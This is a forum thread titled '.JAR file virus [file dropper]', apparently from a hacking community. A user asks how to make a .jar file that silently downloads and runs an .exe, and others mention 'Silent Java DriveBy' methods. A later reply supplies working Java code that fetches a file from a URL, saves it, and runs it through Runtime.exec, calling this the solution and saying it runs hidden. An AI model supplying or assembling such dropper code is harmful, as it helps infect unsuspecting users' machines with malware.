Thread: [.JAR file virus \[file dropper\]](#)

omar37 - November 10, 2013, 11:51 am

Hey guys,

Is it possible to create a .jar file that will download a .exe and execute it silently?

MrTing - November 10, 2013, 12:07 pm

You should investigate Java DB's. Should be somewhere in the TuTs.

omar37 - November 10, 2013, 12:13 pm

I've searched a lot, theres a way to convert a .exe to .jar but that might corrupt the server?

normally, you cannot easily convert an exe into a jar, however, the vice versa is easy with 3rd-party tools.

Yes, that's considered a Silent Java DriveBy, if you don't want it to become silent, I suggest using a basic Java Driveby.

mylotheone - March 5, 2020, 11:43 pm

I know this is really late, but someone might still be looking for it. so here's the solution

```
public void saveUrl(final String filename, final String urlString)
    throws MalformedURLException, IOException {
    BufferedInputStream in = null;
    FileOutputStream fout = null;
    try {
        in = new BufferedInputStream(new URL(urlString).openStream());
        fout = new FileOutputStream(filename);

        final byte data[] = new byte[1024];
        int count;
        while ((count = in.read(data, 0, 1024)) != -1) {
            fout.write(data, 0, count);
        }
    } finally {
        if (in != null) {
            in.close();
        }
        if (fout != null) {
            fout.close();
        }
    }
}
```

is a function for downloading a file from the internet

```
Runtime runtime = Runtime.getRuntime();  
runtime.exec("file location");
```

this will execute the text as a command in the command prompt, hidden of course.
if you put the path to an exe in the command prompt it will run it.

so those 2 are required, if you don't know how to use them, learn java.
